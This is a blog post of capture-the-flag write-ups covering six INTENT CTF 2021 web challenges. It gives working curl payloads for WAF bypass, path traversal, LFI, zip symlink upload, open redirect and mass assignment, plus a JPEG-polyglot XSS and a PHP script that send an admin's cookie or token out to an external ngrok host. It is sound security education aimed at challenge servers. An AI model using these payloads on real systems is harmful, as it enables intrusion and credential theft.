Tuesday, November 16, 2021

INTENT CTF 2021 - Writeups (6-in-1)

by Neptunian


INTENT Security Research Summit 2021 was founded by security companies CyberArk and Checkmarx and is focused on security research.

I played (most of) their web challenges and I thought they were simple, but very creative and fun. Personally, my prefferred was Darknet Club.

In this write-up, I’ll make a fast-pass on the 6 solved challenges, with a little less details than usual.


Door (un)Locked



In this challenge, we are presented with an empty page.


We have an attachment called ha.cfg:

    mode    http
    timeout  client  50000
    timeout  server  50000
    timeout  connect 50000
frontend web 
    bind *:8000  
    http-request deny if { path_beg /flag }
    http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ }
    default_backend websrvs
backend websrvs 
    http-reuse always
    server srv1 flask:5000

While searching a little bit, I confirmed my suspicion that it is an haproxy configuration file.

We have an haproxy in front of an internal server (flask:5000). There is a /flag endpoint, which is our obvious target, but it is externally blocked by the two http-request deny

  1. The first blocks any request starting with /flag
  2. The second blocks any request that, after urldecoding, matches the regex bellow.

Let’s take a look:

$ curl http://door-unlocked.chal.intentsummit.org:8000/flag
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.


For testing purposes, I started a local haproxy protecting a fake http server (just a netcat), just to test the bypass.

$ nc -l -p 5000 < netcat.response.http

At first, let’s comment the regex line to understand the first protection.

http-request deny if { path_beg /flag }
# http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ }

Since it protects only the exact /flag string, it’s a very easy bypass:

$ # Normal block
$ curl http://localhost:8000/flag
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
$ # Bypass
$ curl --path-as-is http://localhost:8000/./flag

We just changed /flag* to /./flag (shame on you). Note that I used the --path-as-is flag on curl to avoid normalization on the client-side.

Let’s invert the the comments to test the regex bypass:

# http-request deny if { path_beg /flag }
http-request deny if { path,url_dec -m reg ^.*/?flag/?.*$ }

You should really take a look at https://regex101.com/, that explains the regex meaning to dumb people like me.


At first, it looks like anything with the word “flag” inside the URL would be blocked, even if we send a urlencoded payload, since it decodes before matching. BUT, if you analyze the details of the regex, we can find our vulnerability. regex101 makes it easier:


So… what about sending a line terminator? (Note that I’m keeping the the first bypass in the game)

# Normal block
$ curl --path-as-is http://localhost:8000/./flag
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
# Bypass
$ curl --path-as-is http://localhost:8000/./%0a/../flag

Pretty nice, it accepted our %0A (ASCII Line Feed) and, since it does not match the .*, it bypassed the regex.

Now, get the flag in the real server:

$ curl --path-as-is http://door-unlocked.chal.intentsummit.org:8000/./%0a/../flag






In this challenge, the main page only shows the word etulosba, which is absolute reversed, the obvious hint. We also got the simulated CDN source code:

const fs = require("fs");
const path = require("path");
const express = require("express");

const server = express();

server.get("/", function (req, res) {

server.get("/files/images/:name", function (req, res) {
    if (req.params.name.indexOf(".") === -1) {
        return res.status(400).json({ error: "invalid file name" });

    res.sendFile(__dirname + path.join("/files/images/", req.params.name));

server.get("/files/binary/:name", function (req, res) {
    if (req.params.name.indexOf(".") !== -1) {
        return res.status(400).json({ error: "invalid file name" });

    res.sendFile(path.resolve(__dirname, "/files/binary/", req.params.name));

fs.writeFileSync(path.join(__dirname, "flag.name"), process.env.FLAG_NAME);
fs.writeFileSync(path.join("/tmp", process.env.FLAG_NAME), process.env.FLAG);


In summary:

  • It simulates a simple CDN, which allows you to download binary and image files from specific directories.
  • The flag is a file inside /tmp, which we don’t know the name
  • There is a file called flag.name, on the app directory.
    • Inside this file is the unknown name of the flag file.


It is pretty clear that we have to get the flag.name file and, using the value, getting the flag file inside /tmp. The obvious flaw of the app is the LFI - Local File Inclusion, which I explained in a recent write-up: ASISCTF 2021 - ASCII art as a service

Let’s first get the flag.name file, using the /files/images/:name. Let’s try path traversal here:

$ curl -k --path-as-is https://etulosba.chal.intentsummit.org/files/images/../../flag.name
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Cannot GET /files/images/../../flag.name</pre>

This message means the express app did not found a GET route with this pattern. This happens because we broke the pattern /files/images/:name. If we just url-encode the :name, it works.

$ curl -k --path-as-is https://etulosba.chal.intentsummit.org/files/images/..%2f..%2fflag.name

We got the flag file name: imaflagimaflag. We didn’t even got a protection, because it needs a dot (.) in the :name parameter and we already have it.

Now that we know the flag location, let’s try to get it with the same route. We don’t know the current path, so let’s go back a lot with ../../../../../../../../tmp/imaflagimaflag. Because of the nginx in front of the real app, the real error is masked and it is not so clear to explain. I’ll test locally directly in the node app to show the real error.

$ curl -k --path-as-is http://localhost:8000/files/images/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fimaflagimaflag
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<pre>Error: ENOENT: no such file or directory, stat &#39;/writeup/etulosba/tmp/imaflagimaflag&#39;</pre>
Error: ENOENT: no such file or directory, stat '/writeup/etulosba/tmp/imaflagimaflag'

It concatenated the current directory because it’s using the path.join method. No lucky here. What about an ABSOLUTE path? :)

$ curl -k --path-as-is https://etulosba.chal.intentsummit.org/files/images/%2ftmp%2fimaflagimaflag
{"error":"invalid file name"}

It blocks us because there is no dot in the filename… BUT we also have the /files/binary/:name endpoint.

$ curl -k --path-as-is https://etulosba.chal.intentsummit.org/files/binary/%2ftmp%2fimaflagimaflag

It works now, because there is no dot and the path.resolve method has the particular behaviour of ignoring the previous parameters if you send an ABSOLUTE path. It’s not a concatenation as in the path.join case.





We start with a main page and a careers.php page.

Upload your CV using txt format only, please archive the files using zip format


Let’s add our zipped resumee to test it:

$ cat resumee-nep1.txt 
Name: nep1

$ zip resumee-nep1.zip resumee-nep1.txt
  adding: resumee-nep1.txt (stored 0%)

It created a link for me: https://careers.chal.intentsummit.org/upload/9b2b4b582c3df097c6c5b3fea68c8d1f


And clickling the generated link (https://careers.chal.intentsummit.org/upload/9b2b4b582c3df097c6c5b3fea68c8d1f/resumee-nep1.txt), I could see the original resumee txt file.

Other findings:

  • If I generated a zip with multiple files, it will show them in the list.
  • It only showed .txt files.
  • The files with other extensions (like .php) weren’t in the directory (acessing directly without the link).


My very first CTF write-up is still one of the most interesting challenges I got. It was on Defenit CTF 2020, called TAR Analyzer. It explains, in portuguese, part of the vulnerability here.

Since the careers page need to unzip the file, it opens some vulnerabilities here. In this case, I used the ZIP SymLink Vulnerability. I can just zip a symbolic link. When decompressed, it will keep being a link in the server file system, to whatever file I need.

You can guess some default places for the flag file. And if you look at the first challenge, they’re using /flag. In most challenges it is /flag.txt.

So, let’s create the payload.

# create the flag simulated file
$ echo flag{fake} | sudo tee /flag

$ cat /flag

# create the poisoned symlink
$ ln -s /flag poisoned_symlink.txt

$ cat poisoned_symlink.txt 

# create the zip with the payload - note the parameter
$ zip --symlinks payload.zip poisoned_symlink.txt 
  adding: poisoned_symlink.txt (stored 0%)
$ unzip -l payload.zip 
Archive:  payload.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        5  2021-11-16 14:15   poisoned_symlink.txt
---------                     -------
        5                     1 file

And now, after getting the new “.txt” file link:

$ curl -k https://careers.chal.intentsummit.org/upload/1234e827d05414a5c9dd29d30cf145cc/poisoned_symlink.txt

Flag Vault



In this challenge, we are sent to a /admin but, because we are not logged, it redirects us to /?redirect=/admin&error=INVALID_TOKEN.


It has also a Report Bug functionality, where you can send a URL for analysis.

There is no server-side source code, but the local Javascript in the login page is interesting:

const params = new URLSearchParams(window.location.search);
const query = Object.fromEntries(params.entries());
const redirectTo = String(query.redirect || "");

const form = document.querySelector("form");
const email = document.querySelector("input[name=email]");
const password = document.querySelector("input[name=password]");

form.addEventListener("submit", async function (event) {

    const jsonBody = JSON.stringify({ email: email.value, password: password.value });

    const response = await fetch("/api/v1/login", {
        method: "POST",
        headers: {
            "Content-Type": "application/json"
        body: jsonBody

    if (response.status === 401) {
        return alert("Invalid email or password");

    const jsonData = await response.json();
    window.location = location.origin + redirectTo + "?token=" + jsonData.token;

function report() {
    const url = prompt("URL", window.location.href);
    fetch("/api/v1/report?url=" + encodeURIComponent(url));

In summary, it tries to login with user-provided credentials. If the user gets authenticated, it returns a token and redirects us to /admin?token=TOKEN_VALUE.

  • Flag is naturally on /admin
  • We need the token to get the flag in the way god wanted.


The report URL, as in many other CTFs, is an admin (bot), which checks our URL and will be already logged in the app, with special privileges.

The “intended” behaviour of the app, after receiving the redirect in the querystring, is to redirect inside the app, by concatenating the app base URL (location.origin) before the redirect path.

For our current URL, http://flag-vault.chal.intentsummit.org/?redirect=/admin&error=INVALID_TOKEN, it means:

  • location.origin: http://flag-vault.chal.intentsummit.org
  • redirect: /admin
  • Boring concatenation: http://flag-vault.chal.intentsummit.org/admin

This concatenation is what makes the app in-vulnerable. As thought by the master-hacker Orange Tsai, URLs are complex :)

I explain a little bit of it in the writeup redpwnCTF 2021 - Requester + Requester Strikes Back.

We can have this (incomplete/simplified) URL format: http://[email protected]/path?querystring

If we put an “@” before the querystring, we can make the admin browser think the location.origin is an username instead of the domain.

Let’s simulate it, using my ngrok endpoint:

http://flag-vault.chal.intentsummit.org/[email protected]/admin

Look what we got if we send it to the report page:


Let’s check our pretty new token:

$ curl -k http://flag-vault.chal.intentsummit.org/admin?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwiaWF0IjoxNjM3MDkwNzQ1LCJleHAiOjE2MzcwOTA3NTV9.an2VDDvxF-glaG0OednzW6vu5daPGNX7Oft_b6TrvPo

Found. Redirecting to /?redirect=/admin&error=TokenExpiredError%3A%20jwt%20expired

The token expires really fast, so we can’t get the flag manually. Let’s create a faster endpoint, which will receive the token and get the flag for us on time.



$token = $_GET["token"];
$target = "http://flag-vault.chal.intentsummit.org/admin?token=" . $token;
$flag = file_get_contents($target);

file_get_contents("https://c292-201-17-126-102.ngrok.io/flag?" . urlencode($flag));

Let it go:

http://flag-vault.chal.intentsummit.org/[email protected]/flash.php

And suddenly:



P.S.: for some reason, I couldn’t just save the flag locally in the PHP app (missing privileges). It was just faster to make another request.

Mass Notes



In this challenge, we get a basic notepad app.


The note is sent encoded in JSON via POST to /note:

{"title":"Note 1","content":"Text 1"}

And we receive this JSON object as answer:

{"title":"Note 1","content":"Text 1","avatar":"default_1.png","_id":"6194223d989bedd8dfa702dd","__v":0}

And after that, you are redirected to a note.html page, that receives this exact JSON in the querystring and build the note page.



After looking in some wrong directions, the avatar is something to take a look.

  • You receive "avatar":"default_1.png", but there is no option in the page to set the avatar.
  • The link of the avatar is: https://mass-notes.chal.intentsummit.org/avatar/619420f1989bedd8dfa702da.png.
    • The format is: /avatar/ID_RECEIVED.png

But What if we can set the avatar and it is only not in the page?

Let’s try it:

curl -k 'https://mass-notes.chal.intentsummit.org/note' \
>   -H 'content-type: application/json' \
>   --data-raw '{"title":"Note 1","content":"Text 1","avatar":"neptunian.png"}'

{"title":"Note 1","content":"Text 1","avatar":"neptunian.png","_id":"619425b3989bedd8dfa702e2","__v":0}

It worked!

But let’s check what happens when we try to get the avatar image with the new ID received (619425b3989bedd8dfa702e2):

$ curl -k https://mass-notes.chal.intentsummit.org/avatar/619425b3989bedd8dfa702e2.png
Error: ENOENT: no such file or directory, open '/app/avatars/neptunian.png'

Yeah! The errors tells us that it is trying to open a file called neptunian.png (name that we control) and didn’t found it. We have an LFI!

Let’s create another note, pointing our file to the possible flag location. We also know the default path is /app/avatars, so we need to get up two levels in our path traversal.

$ curl -k 'https://mass-notes.chal.intentsummit.org/note' \
>   -H 'content-type: application/json' \
>   --data-raw '{"title":"Flag Note","content":"Bleh","avatar":"../../flag"}'
{"title":"Flag Note","content":"Bleh","avatar":"../../flag","_id":"61942783989bedd8dfa702e4","__v":0}

Get the bastard, using the new ID:

$ curl -k https://mass-notes.chal.intentsummit.org/avatar/61942783989bedd8dfa702e4.png


Darknet Club



This was, in my shitty opinion, the most creative web challenge in the CTF (but I didn’t have time to look at sigNULL).

After registration and login, we go to the profile page.


  • We can change the parameters in our profile.
  • The Request Invitation option takes no parameters and returns nothing.


Let’s assume there is an admin bot who will take a look at our profile after the invitation request is sent. We need to try a XSS here.

After changing all fields, we see that the Referral is not sanitized and, at first, vulnerable to XSS:

Let’s edit the profile and change the Referral, adding a script:


The Admin got bold with the strong tag, but no alert fired. This errors happens in the Javascript execution:

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

This happens because the server is sending the following CSP directives in the /profile header:

content-security-policy: default-src 'self'; object-src 'none'; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;

The policy contains a default-src 'self', which means it will only run Javascript from a file inside the same domain (actually, there’s many more details to it, but let’s keep things simple).

So, to explore this XSS, we need a Javascript on the server-side of the current domain. Which we don’t have. And we can’t upload. Can’t we??

You have an option to upload an avatar, but the server does not allows us to send a JS there.


This file could not be uploaded, only JPEG files are allowed!

The file have to be a JPEG for the server to allow it. After playing a bit with it, we see that it just check the file signature. Not even the file extension.

Let’s create a fake file, using the signature from some random jpeg.

$ dd if=download.jpg bs=1 count=3 of=somefile.js

3+0 records in
3+0 records out
3 bytes copied, 0,000481273 s, 6,2 kB/s

$ hexdump -C somefile.js 

00000000  ff d8 ff                                          |...|

Now you receive an Image uploaded successfully!

We can’t just send a random jpeg with in the middle of the text. It wont work.

There is a VERY interesting article, by Gareth Heyes, on Bypassing CSP using polyglot JPEGs . It is not the article we want, but it is the article we need.


This is great but we only need to solve a subset of Gareth’s problem. We don’t need a full polyglot jpeg but just the first part. It turns out the JPEG signature can be used as a valid variable name in Javascript. We can have a first line like this:

-- any payload we want!

To make it easier, since I was testing some different payloads at the time, I created a small script to assemble the payload.

out = open('jpeg-payload.js', 'wb')
payload = ''

with open('payload.js', 'rb') as file:
    payload = file.read()

# Fake header


For the actual Javascript payload. I tried to first make a fetch for my URL with the admin cookie, but fetching other domain is also blocked by the CSP. We can bypass it by redirecting the browser page to our domain.

window.location.href = 'http://66e9-201-17-126-102.ngrok.io/flag?'+encodeURIComponent(document.cookie);

Let’s generate our payload and upload it.

$ python inject.py 
$ hexdump -C jpeg-payload.js 
00000000  ff d8 ff 3d 31 3b 77 69  6e 64 6f 77 2e 6c 6f 63  |...=1;window.loc|
00000010  61 74 69 6f 6e 2e 68 72  65 66 20 3d 20 27 68 74  |ation.href = 'ht|
00000020  74 70 3a 2f 2f 36 36 65  39 2d 32 30 31 2d 31 37  |tp://66e9-201-17|
00000030  2d 31 32 36 2d 31 30 32  2e 6e 67 72 6f 6b 2e 69  |-126-102.ngrok.i|
00000040  6f 2f 66 6c 61 67 3f 27  2b 65 6e 63 6f 64 65 55  |o/flag?'+encodeU|
00000050  52 49 43 6f 6d 70 6f 6e  65 6e 74 28 64 6f 63 75  |RIComponent(docu|
00000060  6d 65 6e 74 2e 63 6f 6f  6b 69 65 29 3b           |ment.cookie);|
Image uploaded successfully!

Let’s try getting the image from the avatar URL https://darknet-club.chal.intentsummit.org/api/avatar/nep3

$ curl -k https://darknet-club.chal.intentsummit.org/api/avatar/nep3 | hexdump -C

00000000  ff d8 ff 3d 31 3b 77 69  6e 64 6f 77 2e 6c 6f 63  |...=1;window.loc|
00000010  61 74 69 6f 6e 2e 68 72  65 66 20 3d 20 27 68 74  |ation.href = 'ht|
00000020  74 70 3a 2f 2f 36 36 65  39 2d 32 30 31 2d 31 37  |tp://66e9-201-17|
00000030  2d 31 32 36 2d 31 30 32  2e 6e 67 72 6f 6b 2e 69  |-126-102.ngrok.i|
00000040  6f 2f 66 6c 61 67 3f 27  2b 65 6e 63 6f 64 65 55  |o/flag?'+encodeU|
00000050  52 49 43 6f 6d 70 6f 6e  65 6e 74 28 64 6f 63 75  |RIComponent(docu|
00000060  6d 65 6e 74 2e 63 6f 6f  6b 69 65 29 3b           |ment.cookie);|

It’s our payload. Now, let’s change the Referral field again to call our javascript:

<strong>Admin</strong><script charset="ISO-8859-1"  type="text/javascript" src="/api/avatar/nep3"></script>

After saving, it immediatelly redirects us to our ngrok.


The cookie is ours (if you’re brazilian, please avoid daddy jokes by not translating it):


So now, we have to (FINALLY) ask for the admin to check our profile. Since our profile now ALWAYS redirects us very fast, let’s just send it with curl (please, no 5th grade brazilian jokes here!).

curl -k -v -X POST 'https://darknet-club.chal.intentsummit.org/api/report' \
  -H 'session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5lcDMiLCJpYXQiOjE2MzcxMDAwMjV9.ERu4iZCxE6DyqBe3qmX00WGiux--ikLQBiLbxmeSN3s'




Capture the Flag , Web , Writeup